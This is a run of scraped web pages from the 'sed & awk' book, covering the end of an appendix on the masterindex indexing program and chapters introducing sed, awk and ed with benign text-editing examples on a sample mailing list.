where the semicolon delimits the tertiary key. The semicolon is output with the key, and multiple tertiary keys may follow immediately after the secondary key.

The main thing, though, is that page numbers are collected for all primary, secondary, and tertiary keys. Thus, you could have output such as:

  justification  4-9
    lines 4,6; defined, 5

C.3.4 Output Format

One thing I wanted to do that our previous program did not do is generate an index without the troff codes. masterindex has three output modes: troff, screen, and page.

The default output is intended for processing by troff (via fmt). It contains macros that are defined in /work/macros/current/indexmacs. These macros should produce the same index format as before, which was largely done directly through troff requests. Here are a few lines off the top:

$ masterindex ch01
.so /work/macros/current/indexmacs
.Se "" "Index"
.XC
.XF A "A"
.XF 1 "applications, structure of  2;  program  1"
.XF 1 "attribute, WIN_CONSUME_KBD_EVENTS  13"
.XF 2 "WIN_CONSUME_PICK_EVENTS  13"
.XF 2 "WIN_NOTIFY_EVENT_PROC  13"
.XF 2 "XV_ERROR_PROC  14"
.XF 2 "XV_INIT_ARGC_PTR_ARGV  5,6"

The top two lines should be obvious. The .XC macro produces multicolumn output. (It will print out two columns for smaller books. It's not smart enough to take arguments specifying the width of columns, but that should be done.) The .XF macro has three possible values for its first argument. An "A" indicates that the second argument is a letter of the alphabet that should be output as a divider. A "1" indicates that the second argument contains a primary entry. A "2" indicates that the entry begins with a secondary entry, which is indented.

When invoked with the -s argument, the program prepares the index for viewing on the screen (or printing as an ASCII file). Again, here are a few lines:

$ masterindex -s ch01
        A
applications, structure of  2;  program  1
attribute, WIN_CONSUME_KBD_EVENTS  13
  WIN_CONSUME_PICK_EVENTS  13
  WIN_NOTIFY_EVENT_PROC  13
  XV_ERROR_PROC  14
  XV_INIT_ARGC_PTR_ARGV  5,6
  XV_INIT_ARGS  6
  XV_USAGE_PROC  6

Obviously, this is useful for quickly proofing the index. The third type of format is also used for proofing the index. Invoked using -p, it provides a page-by-page listing of the index entries.

$ masterindex -p ch01
Page 1
        structure of XView applications
        applications, structure of; program
        XView applications
        XView applications, structure of
        XView interface
        compiling XView programs
        XView, compiling programs
Page 2
        XView libraries

C.3.5 Compiling a Master Index

A multivolume master index is invoked by specifying the -m option. Each set of index entries for a particular volume must be placed in a separate file.

$ masterindex -m -s book1 book2 book3
xv_init() procedure  II: 4; III: 5
XV_INIT_ARGC_PTR_ARGV attribute  II: 5,6
XV_INIT_ARGS attribute  I: 6

Files must be specified in consecutive order. If the first file is not Volume 1, you can specify the number as an argument.

$ masterindex -m 4 -s book4 book5

Previous: C.2 Listing of masterindex Shell Script | sed & awk
C.2 Listing of masterindex Shell Script | Book Index
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] Power Tools for Editing

sed & awk

sed & awkSearch this book
Previous: Comments and Questions Chapter 1 Next: 1.2 A Stream Editor

1. Power Tools for Editing

Contents:
May You Solve Interesting Problems
A Stream Editor
A Pattern-Matching Programming Language
Four Hurdles to Mastering sed and awk

My wife won't let me buy a power saw. She is afraid of an accident if I use one. So I rely on a hand saw for a variety of weekend projects like building shelves. However, if I made my living as a carpenter, I would have to use a power saw. The speed and efficiency provided by power tools would be essential to being productive. [D.D.]

For people who create and modify text files, sed and awk are power tools for editing. Most of the things that you can do with these programs can be done interactively with a text editor. However, using sed and awk can save many hours of repetitive work in achieving the same result.

Sed and awk are peculiar and it takes time to learn them, but the capabilities they provide can repay the learning many times over, especially if text editing is a normal part of your trade.

1.1 May You Solve Interesting Problems

The primary motivation for learning sed and awk is that they are useful for devising general solutions to text editing problems.[1] For some people, myself included, the satisfaction of solving a problem is the difference between work and drudgery. Given the choice of using vi or sed to make a series of repeated edits over a number of files, I will choose sed, simply because it makes the problem more interesting to me. I am refining a solution instead of repeating a series of keystrokes. Besides, once I accomplish my task, I congratulate myself on being clever. I feel like I have done a little bit of magic and spared myself some dull labor.

[1] I suppose this section title is a combination of the ancient Chinese curse "May you live in interesting times" and what Tim O'Reilly once said to me, that someone will solve a problem if he finds the problem interesting. [D.D.]

Initially, using sed and awk will seem like the long way to accomplish a task. After several attempts you may conclude that the task would have been easier to do manually. Be patient. You not only have to learn how to use sed and awk but you also need to learn to recognize situations where using them pays off. As you become more proficient, you will solve problems more quickly and solve a broader range of problems.

You will also begin to see opportunities to find general solutions to specific problems. There is a way of looking at a problem so you see it related to a class of problems. Then you can devise a solution that can be reused in other situations.

Let me give you an example (without showing any program code). One of our books used a cross-referencing naming scheme in which the reference was defined and processed by our formatting software (sqtroff). In the text file, a reference to a chapter on error handling might be coded as follows:

\*[CHerrorhand]

"CHerrorhand" is the name giving the reference and "\*[" and "]" are calling sequences that distinguish the reference from other text. In a central file, the names used for cross references in the document are defined as sqtroff strings. For instance, "CHerrorhand" is defined to be "Chapter 16, Error Handling." (The advantage of using a symbolic cross-referencing scheme like this, instead of explicit referencing, is that if chapters are added or deleted or reordered, only the central file needs to be edited to reflect the new organization.) When the formatting software processes the document, the references are properly resolved and expanded.

The problem we faced was that we had to use the same files to create an online version of the book. Because our sqtroff formatting software would not be used, we needed some way to expand the cross references in the files. In other words, we did not want files containing "\*[CHerrorhand]"; instead we wanted what "CHerrorhand" referred to.

There were three possible ways to solve this problem:

  1. Use a text editor to search for all references and replace each of them with the appropriate literal string.

  2. Use sed to make the edits. This is similar to making the edits manually, only faster.

  3. Use awk to write a program that (a) reads the central file to make a list of reference names and their definitions, (b) reads the document searching for the reference calling sequence, and (c) looks up the name of the reference on the list and replaces it with its definition.

The first method is obviously time-consuming (and not very interesting!). The second method, using sed, has an advantage in that it creates a tool to do the job. It is pretty simple to write a sed script that looks for "\*[CHerrorhand]" and replaces it with "Chapter 16, Error Handling" for instance. The same script can be used to modify each of the files for the document. The disadvantage is that the substitutions are hard-coded; that is, for each cross reference, you need to write a command that makes the replacement. The third method, using awk, builds a tool that works for any cross reference that follows this syntax. This script could be used to expand cross references in other books as well. It spares you from having to compile a list of specific substitutions. It is the most general solution of the three and designed for the greatest possible reuse as a tool.

Part of solving a problem is knowing which tool to build. There are times when a sed script is a better choice because the problem does not lend itself to, or demand, a more complex awk script. You have to keep in mind what kinds of applications are best suited for sed and awk.

Previous: Comments and Questions | sed & awk | Next: 1.2 A Stream Editor
Comments and Questions | Book Index | 1.2 A Stream Editor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.2 A Stream Editor

sed & awk

sed & awkSearch this book
Previous: 1.1 May You Solve Interesting Problems Chapter 1
Power Tools for Editing 		Next: 1.3 A Pattern-Matching Programming Language

1.2 A Stream Editor

Sed is a "non-interactive" stream-oriented editor. It is stream-oriented because, like many UNIX programs, input flows through the program and is directed to standard output. (vi, for instance, is not stream-oriented. Nor are most DOS applications.) Input typically comes from a file but can be directed from the keyboard.[2] Output goes to the terminal screen by default but can be captured in a file instead. Sed works by interpreting a script specifying the actions to be performed.

[2] Doing so, however, is not particularly useful.

Sed offers capabilities that seem a natural extension of interactive text editing. For instance, it offers a search-and-replace facility that can be applied globally to a single file or a group of files. While you would not typically use sed to change a term that appears once in a particular file, you will find it very useful to make a series of changes across a number of files. Think about making 20 different edits in over 100 files in a matter of minutes, and you get an idea of how powerful sed can be.

Using sed is similar to writing simple shell scripts (or batch files in DOS). You specify a series of actions to be performed in sequence. Most of these actions could be done manually from within vi: replacing text, deleting lines, inserting new text, etc. The advantage of sed is that you can specify all editing instructions in one place and then execute them on a single pass through the file. You don't have to go into each file to make each change. Sed can also be used effectively to edit very large files that would be slow to edit interactively.

There are many opportunities to use sed in the course of creating and maintaining a document, especially when the document consists of individual chapters, each placed in a separate file. Typically, after a draft of a document has returned from review, there are a number of changes that can be applied to all files. For instance, during the course of a software documentation project, the name of the software or its components might change, and you have to track down and make these changes. With sed, this is a simple process.

Sed can be used to achieve consistency throughout a document. You can search for all the different ways a particular term might be used and make them all the same. You can use sed to insert special typesetting codes or symbols prior to formatting by troff. For instance, it can be used to replace quotation marks with the ASCII character codes for forward and back double quotes ("curly quotes" instead of "straight" quotes).

Sed also has the ability to be used as an editing filter. In other words, you could process an input file and send the output to another program. For instance, you could use sed to analyze a plain text file and insert troff macros before directing the output to troff for formatting. It allows you to make edits on the fly, perhaps ones that are temporary.

An author or publisher can use sed to write numerous conversion programs - translating formatting codes in Scribe or TeX files into troff, for example, or converting PC word processing files, such as WordStar. Later on, we will look at a sed script that converts troff macros into stylesheet tags for use in Ventura Publisher. (Perhaps sed could be used to translate a program written in the syntax of one language to the syntax of another language.) When Sun Microsystems first produced Xview, they released a conversion program for converting SunView programs to XView, and the program largely consisted of sed scripts, converting the names of various functions.

Sed has a few rudimentary programming constructs that can be used to build more complicated scripts. It also has a limited ability to work on more than one line at a time.

All but the simplest sed scripts are usually invoked from a "shell wrapper," a shell script that invokes sed and also contains the commands that sed executes. A shell wrapper is an easy way to name and execute a single-word command. Users of the command don't even need to know that sed is being used. One example of such a shell wrapper is the script phrase, which we'll look at later in this book. It allows you to match a pattern that might fall over two lines, addressing a specific limitation of grep.

In summary, use sed:

  1. To automate editing actions to be performed on one or more files.

  2. To simplify the task of performing the same edits on multiple files.

  3. To write conversion programs.

Previous: 1.1 May You Solve Interesting Problems | sed & awk | Next: 1.3 A Pattern-Matching Programming Language
1.1 May You Solve Interesting Problems | Book Index | 1.3 A Pattern-Matching Programming Language
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.3 A Pattern-Matching Programming Language

sed & awk

sed & awkSearch this book
Previous: 1.2 A Stream Editor Chapter 1
Power Tools for Editing 		Next: 1.4 Four Hurdles to Mastering sed and awk

1.3 A Pattern-Matching Programming Language

Identifying awk as a programming language scares some people away from it. If you are one of them, consider awk a different approach to problem solving, one in which you have a lot more control over what you want the computer to do.

Sed is easily seen as the flip side of interactive editing. A sed procedure corresponds closely enough to how you would apply the editing commands manually. Sed limits you to the methods you use in a text editor. Awk offers a more general computational model for processing a file.

A typical example of an awk program is one that transforms data into a formatted report. The data might be a log file generated by a UNIX program such as uucp, and the report might summarize the data in a format useful to a system administrator. Another example is a data processing application consisting of separate data entry and data retrieval programs. Data entry is the process of recording data in a structured way. Data retrieval is the process of extracting data from a file and generating a report.

The key to all of these operations is that the data has some kind of structure. Let us illustrate this with the analogy of a bureau. A bureau consists of multiple drawers, and each drawer has a certain set of contents: socks in one drawer, underwear in another, and sweaters in a third drawer. Sometimes drawers have compartments allowing different kinds of things to be stored together. These are all structures that determine where things go - when you are sorting the laundry - and where things can be found - when you are getting dressed. Awk allows you to use the structure of a text file in writing the procedures for putting things in and taking things out.

Thus, the benefits of awk are best realized when the data has some kind of structure. A text file can be loosely or tightly structured. A chapter containing major and minor sections has some structure. We'll look at a script that extracts section headings and numbers them to produce an outline. A table consisting of tab-separated items in columns might be considered very structured. You could use an awk script to reorder columns of data, or even change columns into rows and rows into columns.

Like sed scripts, awk scripts are typically invoked by means of a shell wrapper. This is a shell script that usually contains the command line that invokes awk as well as the script that awk interprets. Simple one-line awk scripts can be entered from the command line.

Some of the things awk allows you to do are:

  • View a text file as a textual database made up of records and fields.

  • Use variables to manipulate the database.

  • Use arithmetic and string operators.

  • Use common programming constructs such as loops and conditionals.

  • Generate formatted reports.

  • Define functions.

  • Execute UNIX commands from a script.

  • Process the result of UNIX commands.

  • Process command-line arguments more gracefully.

  • Work more easily with multiple input streams.

Because of these features, awk has the power and range that users might rely upon to do the kinds of tasks performed by shell scripts. In this book, you'll see examples of a menu-based command generator, an interactive spelling checker, and an index processing program, all of which use the features outlined above.

The capabilities of awk extend the idea of text editing into computation, making it possible to perform a variety of data processing tasks, including analysis, extraction, and reporting of data. These are, indeed, the most common uses of awk but there are also many unusual applications: awk has been used to write a Lisp interpreter and even a compiler!

Previous: 1.2 A Stream Editor | sed & awk | Next: 1.4 Four Hurdles to Mastering sed and awk
1.2 A Stream Editor | Book Index | 1.4 Four Hurdles to Mastering sed and awk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.4 Four Hurdles to Mastering sed and awk

sed & awk

sed & awkSearch this book
Previous: 1.3 A Pattern-Matching Programming Language Chapter 1
Power Tools for Editing 		Next: 2. Understanding Basic Operations

1.4 Four Hurdles to Mastering sed and awk

There are a number of introductory UNIX books that will acquaint you with sed and awk. The goal of this book is to take you much further - to help you master sed and awk and to reduce the amount of time and effort that it takes you to reach that goal.

There are four hurdles on the way to mastering sed and awk. You must learn:

  1. How to use sed and awk. This is a relatively low hurdle to clear because, fortunately, sed and awk work in a very similar manner, based on the line editor ed. Chapter 2, Understanding Basic Operations, covers the mechanics of using sed and awk.

  2. To apply UNIX regular expression syntax. Using UNIX regular expression syntax for pattern matching is common to both sed and awk, and many other UNIX programs. This can be a difficult hurdle for two reasons: the syntax is arcane, and though many people have some experience using regular expressions, few have persevered to master the complete syntax. The more facile you are in using this syntax, the easier sed and awk are to use. That is why we spend a good deal of time covering regular expressions in Chapter 3, Understanding Regular Expression Syntax.

  3. How to interact with the shell. While not directly related to sed and awk themselves, managing the interaction with the command shell is often a frustrating problem, since the shell shares a number of special characters with both programs. If you can, avoid the problem by putting your script in a separate file. If not, use a Bourne-compatible shell for your scripts (the quoting rules are more straightforward), and use single quotes to contain your script. If you are using csh as your interactive shell, remember to escape any exclamation points with a backslash ("\!"). There is no other way to get csh to leave the exclamation point alone.[3]

    [3] Well, you can set the histchars variable. See the csh man page.

  4. The knack of script writing. This is the most difficult, rather like a series of high hurdles. Because of this, the bulk of the book is devoted to script writing. With sed, you have to learn a set of single-letter commands. With awk, you have to learn the statements of a programming language. To get the knack of script writing, though, you simply must pore over lots of examples and, of course, must try your hand at writing scripts yourself.

If you were running the high hurdles, the ability to clear the hurdles does not win the race - clearing them swiftly does. In writing scripts, learning the scripting command set or language is simply clearing the hurdle. Acquiring the ability to attack interesting problems with your scripts is running fast enough to compete.

Previous: 1.3 A Pattern-Matching Programming Language | sed & awk | Next: 2. Understanding Basic Operations
1.3 A Pattern-Matching Programming Language | Book Index | 2. Understanding Basic Operations
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] Understanding Basic Operations

sed & awk

sed & awkSearch this book
Previous: 1.4 Four Hurdles to Mastering sed and awk Chapter 2 Next: 2.2 Command-Line Syntax

2. Understanding Basic Operations

Contents:
Awk, by Sed and Grep, out of Ed
Command-Line Syntax
Using sed
Using awk
Using sed and awk Together

If you are starting out to learn sed and awk, you can benefit from looking at how much they have in common.

  • They are invoked using similar syntax.

  • They are both stream-oriented, reading input from text files one line at a time and directing the result to standard output.

  • They use regular expressions for pattern matching.

  • They allow the user to specify instructions in a script.

One reason they have so much in common is that their origins can be found in the same line editor, ed. In this chapter, we begin by taking a brief look at ed and show how sed and awk were logical steps towards the creation of a programmable editor.

Where sed and awk differ is in the kind of instructions that control the work they do. Make no mistake - this is a major difference, and it affects the kinds of tasks that can best be performed with these programs.

This chapter looks at the command-line syntax of sed and awk and the basic structure of scripts. It also offers a tutorial, using a mailing list, that will give you a taste of script writing. It is valuable to see sed and awk scripts side-by-side before you concentrate on either one of them.

2.1 Awk, by Sed and Grep, out of Ed

You can trace the lineage of awk to sed and grep, and through those two programs to ed, the original UNIX line editor.

Have you ever used a line editor? If so, it will be much easier for you to understand the line orientation of sed and awk. If you have used vi, a full-screen editor, then you are familiar with a number of commands that are derived from its underlying line editor, ex (which in turn is a superset of the features in ed).

Let's look at some basic operations using the line editor ed. Don't worry - this is an exercise intended to help you learn sed and awk, not an attempt to convince you of the wonders of line editors. The ed commands that are shown in this exercise are identical to the sed commands you'll learn later on. Feel free to experiment with ed on your own to get a sense of how it works. (If you're already familiar with ed, feel free to skip to the next section.)

To use a line editor, you work on one line at a time. It is important to know what line you are positioned at in the file. When you open a file using ed, it displays the number of characters in the file and positions you at the last line.

$ ed test
339

There is no prompt. If you enter a command that ed does not understand, it prints a question mark as an error message. You can enter the print command, p, to display the current line.

p
label on the first box.

By default, a command affects only the current line. To make an edit, you move to the line that you want to edit and then apply the command. To move to a line, you specify its address. An address might consist of a line number, a symbol indicating a specific position in the file, or a regular expression. You can go to the first line by entering the line number 1. Then you can enter the delete command to remove that line.

1
You might think of a regular expression
d

Entering "1" makes the first line the current line, displaying it on the screen. The delete command in ed is d and here it deletes the current line. Rather than moving to a line and then editing it, you can prefix an editing command with an address that indicates which line or range of lines is the object of the command. If you enter "1d", the first line would be deleted.

You can also specify a regular expression as an address. To delete a line containing the word "regular," you could issue this command:

/regular/d

where slashes delimit the regular expression and "regular" is the string you want to match. This command deletes the first line containing "regular" and makes the line following it the current line.

NOTE: Make sure you understand that the delete command deletes the whole line. It does not just delete the word "regular" on the line.

To delete all the lines that contain the regular expression, you'd prefix the command with the letter g for global.

g/regular/d

The global command makes all lines that match the regular expression the object of the specified command.

Deleting text can take you only so far. Substituting text (replacing one bit of text with another) is much more interesting. The substitution command, s, in ed is:

[address]s/pattern/replacement/flag

pattern is a regular expression that matches a string in the current line to be replaced by replacement. For example, the following command replaces the first occurrence of "regular" with "complex" on the current line.

s/regular/complex/

No address is specified, so it affects only the first occurrence on the current line. It is an error if "regular" is not found on the current line. To look for multiple occurrences on the same line, you must specify g as a flag:

s/regular/complex/g

This command changes all occurrences on the current line. An address must be specified to direct this command to act upon more than the current line. The following substitution command specifies an address:

/regular/s/regular/complex/g

This command affects the first line that matches the address in the file. Remember, the first "regular" is an address and the second is a pattern to match for the substitution command. To make it apply to all lines, use the global command, putting g before the address.

g/regular/s/regular/complex/g

Now the substitution is made everywhere - all occurrences on all lines.

NOTE: Note the different meanings of "g." The "g" at the beginning is the global command that means make the changes on all lines matched by the address. The "g" at the end is a flag that means change each occurrence on a line, not just the first.

The address and the pattern need not be the same.

g/regular expression/s/regular/complex/g

On any line that contains the string "regular expression," replace "regular" with "complex." If the address and the pattern are the same, you can tell ed by specifying two consecutive delimiters (//).

g/regular/s//complex/g

In this example, "regular" is specified as the address and the pattern to be matched for substitution is the same. If it seems that we've covered these commands quickly and that there is a lot to absorb, don't worry. We will be covering these commands again later on.

The familiar UNIX utility grep is derived from the following global command in ed:

g/re/p

which stands for "global regular expression print." Grep is a line-editing command that has been extracted from ed and made available as an external program. It is hard-wired to perform one editing command. It takes the regular expression as an argument on the command line and uses it as the address of lines to print. Here's an example, looking for lines matching "box":

$ grep 'box' test
You are given a series of boxes, the first one labeled "A",
label on the first box.

It prints all lines matching the regular expression.

One more interesting feature of ed is the ability to script your edits, placing them in a separate file and directing them as input to the line editor. For instance, if a series of commands were put in a file named ed-script, the following command executes the script:

ed test < ed-script

This feature makes ed a programmable editor - that is, you can script any action that you might perform manually.

Sed was created as a special-purpose editor that was meant to execute scripts exclusively; unlike ed, it cannot be used interactively. Sed differs from ed primarily in that it is stream-oriented. By default, all of the input to sed passes through and goes to standard output. The input file itself is not changed. If you actually do want to alter the input file, you typically use the shell mechanism for output redirection, and when you are satisfied with the edits you've made, replace the original file with the modified version.

ed is not stream-oriented and changes are made to the file itself. An ed script must contain commands to save the file and quit the editor. It produces no output to the screen, except what may be generated by a specific command.

The stream orientation of sed has a major impact on how addressing is applied. In ed, a command without an address affects only the current line. Sed goes through the file, a line at a time, such that each line becomes the current line, and the commands are applied to it. The result is that sed applies a command without an address to every line in the file.

Look at the following substitution command:

s/regular/complex/

If you entered this command interactively in ed, you'd substitute "complex" for the first occurrence of "regular" on the current line. In an ed script, if this was the first command in the script, it would be applied only to the last line of the file (ed's default current line). However, in a sed script, the same command applies to all lines. That is, sed commands are implicitly global. In sed, the previous example has the same result as the following global command in ed:

g/regular/s//complex/

NOTE: Understanding the difference between current-line addressing in ed and global-line addressing in sed is very important. In ed you use addressing to expand the number of lines that are the object of a command; in sed, you use addressing to restrict the number of lines affected by a command.

Sed also was designed with a number of additional commands that support script writing. We will look at many of these commands in Chapter 6, Advanced sed Commands.

Awk was developed as a programmable editor that, like sed, is stream-oriented and interprets a script of editing commands. Where awk departs from sed is in discarding the line-editor command set. It offers in its place a programming language modeled on the C language. The print statement replaces the p command, for example. The concept of addressing is carried over, such that:

/regular/ { print }

prints those lines matching "regular". The braces ({}) surround a series of one or more statements that are applied to the same address.

The advantage of using a programming language in scripts is that it offers many more ways to control what the programmable editor can do. Awk offers expressions, conditional statements, loops, and other programming constructs.

One of the most distinctive features of awk is that it parses, or breaks up, each input line and makes individual words available for processing with a script. (An editor such as vi also recognizes words, allowing you to move word by word, or make a word the object of an action, but these features can only be used interactively.)

Although awk was designed as a programmable editor, users found that awk scripts could do a wide range of other tasks as well. The authors of awk never imagined it would be used to write large programs. But, recognizing that awk was being used in this way, the authors revised the language, creating nawk to offer more support for writing larger programs and tackling general-purpose programming problems. This new version, with minor improvements, is now codified by the POSIX standard.

Previous: 1.4 Four Hurdles to Mastering sed and awk | sed & awk | Next: 2.2 Command-Line Syntax
1.4 Four Hurdles to Mastering sed and awk | Book Index | 2.2 Command-Line Syntax
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.2 Command-Line Syntax

sed & awk

sed & awkSearch this book
Previous: 2.1 Awk, by Sed and Grep, out of Ed Chapter 2
Understanding Basic Operations 		Next: 2.3 Using sed

2.2 Command-Line Syntax

You invoke sed and awk in much the same way. The command-line syntax is:

command [options] script filename

Like almost all UNIX programs, sed and awk can take input from standard input and send the output to standard output. If a filename is specified, input is taken from that file. The output contains the processed information. Standard output is the display screen, and typically the output from these programs is directed there. It can also be sent to a file, using I/O redirection in the shell, but it must not go to the same file that supplies input to the program.

The options for each command are different. We will demonstrate many of these options in upcoming sections. (The complete list of command-line options for sed can be found in Appendix A, Quick Reference for sed; the complete list of options for awk is in Appendix B, Quick Reference for awk.)

The script specifies what instructions to perform. If specified on the command line, the script must be surrounded in single quotes if it contains a space or any characters that might be interpreted by the shell ($ and * for instance).

One option common to both sed and awk is the -f option that allows you to specify the name of a script file. As a script grows in size, it is convenient to place it in a file. Thus, you might invoke sed as follows:

sed -f scriptfile inputfile

Figure 2.1 shows the basic operation of sed and awk. Each program reads one input line at a time from the input file, makes a copy of the input line, and executes the instructions specified in the script on that copy. Thus, changes made to the input line do not affect the actual input file.

Figure 2.1: How sed and awk work

2.2.1 Scripting

A script is where you tell the program what to do. At least one line of instruction is required. Short scripts can be specified on the command line; longer scripts are usually placed in a file where they can easily be revised and tested. In writing a script, keep in mind the sequence in which instructions will be executed and how each instruction changes the input line.

In sed and awk, each instruction has two parts: a pattern and a procedure. The pattern is a regular expression delimited with slashes (/). A procedure specifies one or more actions to be performed.

As each line of input is read, the program reads the first instruction in the script and checks the pattern against the current line. If there is no match, the procedure is ignored and the next instruction is read. If there is a match, then the action or actions specified in the procedure are followed. All of the instructions are read, not just the first instruction that matches the input line.

When all the applicable instructions have been interpreted and applied for a single line, sed outputs the line and repeats the cycle for each input line. Awk, on the other hand, does not automatically output the line; the instructions in your script control what is finally done with it.

The contents of a procedure are very different in sed and awk. In sed, the procedure consists of editing commands like those used in the line editor. Most commands consist of a single letter.

In awk, the procedure consists of programming statements and functions. A procedure must be surrounded by braces.

In the sections that follow, we'll look at a few scripts that process a sample mailing list.

2.2.2 Sample Mailing List

In the upcoming sections, the examples use a sample file, named list. It contains a list of names and addresses, as shown below.

$ cat list
John Daggett, 341 King Road, Plymouth MA
Alice Ford, 22 East Broadway, Richmond VA
Orville Thomas, 11345 Oak Bridge Road, Tulsa OK
Terry Kalkas, 402 Lans Road, Beaver Falls PA
Eric Adams, 20 Post Road, Sudbury MA
Hubert Sims, 328A Brook Road, Roanoke VA
Amy Wilde, 334 Bayshore Pkwy, Mountain View CA
Sal Carpenter, 73 6th Street, Boston MA

If you like, create this file on your system or use a similar one of your own making. Because many of the examples in this chapter are short and interactive, you can enter them at your keyboard and verify the results.

Previous: 2.1 Awk, by Sed and Grep, out of Ed | sed & awk | Next: 2.3 Using sed
2.1 Awk, by Sed and Grep, out of Ed | Book Index | 2.3 Using sed
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.3 Using sed

sed & awk

sed & awkSearch this book
Previous: 2.2 Command-Line Syntax Chapter 2
Understanding Basic Operations 		Next: 2.4 Using awk

2.3 Using sed

There are two ways to invoke sed: either you specify your editing instructions on the command line or you put them in a file and supply the name of the file.

2.3.1 Specifying Simple Instructions

You can specify simple editing commands on the command line.

sed [-e] 'instruction' file

The -e option is necessary only when you supply more than one instruction on the command line. It tells sed to interpret the next argument as an instruction. When there is a single instruction, sed is able to make that determination on its own. Let's look at some examples.

Using the sample input file, list, the following example uses the s command for substitution to replace "MA" with "Massachusetts."

$ sed 's/MA/Massachusetts/' list
John Daggett, 341 King Road, Plymouth Massachusetts
Alice Ford, 22 East Broadway, Richmond VA
Orville Thomas, 11345 Oak Bridge Road, Tulsa OK
Terry Kalkas, 402 Lans Road, Beaver Falls PA
Eric Adams, 20 Post Road, Sudbury Massachusetts
Hubert Sims, 328A Brook Road, Roanoke VA
Amy Wilde, 334 Bayshore Pkwy, Mountain View CA
Sal Carpenter, 73 6th Street, Boston Massachusetts

Three lines are affected by the instruction but all lines are displayed.

Enclosing the instruction in single quotes is not required in all cases but you should get in the habit of always doing it. The enclosing single quotes prevent the shell from interpreting special characters or spaces found in the editing instruction. (The shell uses spaces to determine individual arguments submitted to a program; characters that are special to the shell are expanded before the command is invoked.)

For instance, the first example could have been entered without them but in the next example they are required, since the substitution command contains spaces:

$ sed 's/ MA/, Massachusetts/' list
John Daggett, 341 King Road, Plymouth, Massachusetts
Alice Ford, 22 East Broadway, Richmond VA
Orville Thomas, 11345 Oak Bridge Road, Tulsa OK
Terry Kalkas, 402 Lans Road, Beaver Falls PA
Eric Adams, 20 Post Road, Sudbury, Massachusetts
Hubert Sims, 328A Brook Road, Roanoke VA
Amy Wilde, 334 Bayshore Pkwy, Mountain View CA
Sal Carpenter, 73 6th Street, Boston, Massachusetts

In order to place a comma between the city and state, the instruction replaced the space before the two-letter abbreviation with a comma and a space.

There are three ways to specify multiple instructions on the command line:

  1. Separate instructions with a semicolon.

    sed 's/ MA/, Massachusetts/; s/ PA/, Pennsylvania/' list

  2. Precede each instruction by -e.

    sed -e 's/ MA/, Massachusetts/' -e 's/ PA/, Pennsylvania/' list

  3. Use the multiline entry capability of the Bourne shell.[1] Press RETURN after entering a single quote and a secondary prompt (>) will be displayed for multiline input.

    [1] These days there are many shells that are compatible with the Bourne shell, and work as described here: ksh, bash, pdksh, and zsh, to name a few.

    $ sed '
> s/ MA/, Massachusetts/
> s/ PA/, Pennsylvania/
> s/ CA/, California/' list
John Daggett, 341 King Road, Plymouth, Massachusetts
Alice Ford, 22 East Broadway, Richmond VA
Orville Thomas, 11345 Oak Bridge Road, Tulsa OK
Terry Kalkas, 402 Lans Road, Beaver Falls, Pennsylvania
Eric Adams, 20 Post Road, Sudbury, Massachusetts
Hubert Sims, 328A Brook Road, Roanoke VA
Amy Wilde, 334 Bayshore Pkwy, Mountain View, California
Sal Carpenter, 73 6th Street, Boston, Massachusetts

    This technique will not work in the C shell. Instead, use semicolons at the end of each instruction, and you can enter commands over multiple lines by ending each line with a backslash. (Or, you could temporarily go into the Bourne shell by entering sh and then type the command.)

In the example above, changes were made to five lines and, of course, all lines were displayed. Remember that nothing has changed in the input file.

2.3.1.1 Command garbled

The syntax of a sed command can be detailed, and it's easy to make a mistake or omit a required element. Notice what happens when incomplete syntax is entered:

$ sed -e 's/MA/Massachusetts' list
sed: command garbled: s/MA/Massachusetts

Sed will usually display any line that it cannot execute, but it does not tell you what is wrong with the command.[2] In this instance, a slash, which marks the search and replacement portions of the command, is missing at the end of the substitute command.

[2] Some vendors seem to have improved things. For instance, on SunOS 4.1.x, sed reports "sed: Ending delimiter missing on substitution: s/MA/Massachusetts".

GNU sed is more helpful:

$ gsed -e 's/MA/Massachusetts' list
gsed: Unterminated `s' command

2.3.2 Script Files

It is not practical to enter longer editing scripts on the command line. That is why it is usually best to create a script file that contains the editing instructions. The editing script is simply a list of sed commands that are executed in the order in which they appear. This form, using the -f option, requires that you specify the name of the script file on the command line.

sed -f scriptfile file

All the editing commands that we want executed are placed in a file. We follow a convention of creating temporary script files named sedscr.

$ cat sedscr
s/ MA/, Massachusetts/
s/ PA/, Pennsylvania/
s/ CA/, California/
s/ VA/, Virginia/
s/ OK/, Oklahoma/

The following command reads all of the substitution commands in sedscr and applies them to each line in the input file list:

$ sed -f sedscr list
John Daggett, 341 King Road, Plymouth, Massachusetts
Alice Ford, 22 East Broadway, Richmond, Virginia
Orville Thomas, 11345 Oak Bridge Road, Tulsa, Oklahoma
Terry Kalkas, 402 Lans Road, Beaver Falls, Pennsylvania
Eric Adams, 20 Post Road, Sudbury, Massachusetts
Hubert Sims, 328A Brook Road, Roanoke, Virginia
Amy Wilde, 334 Bayshore Pkwy, Mountain View, California
Sal Carpenter, 73 6th Street, Boston, Massachusetts

Once again, the result is ephemeral, displayed on the screen. No change is made to the input file.

If a sed script can be used again, you should rename the script and save it. Scripts of proven value can be maintained in a personal or system-wide library.

2.3.2.1 Saving output

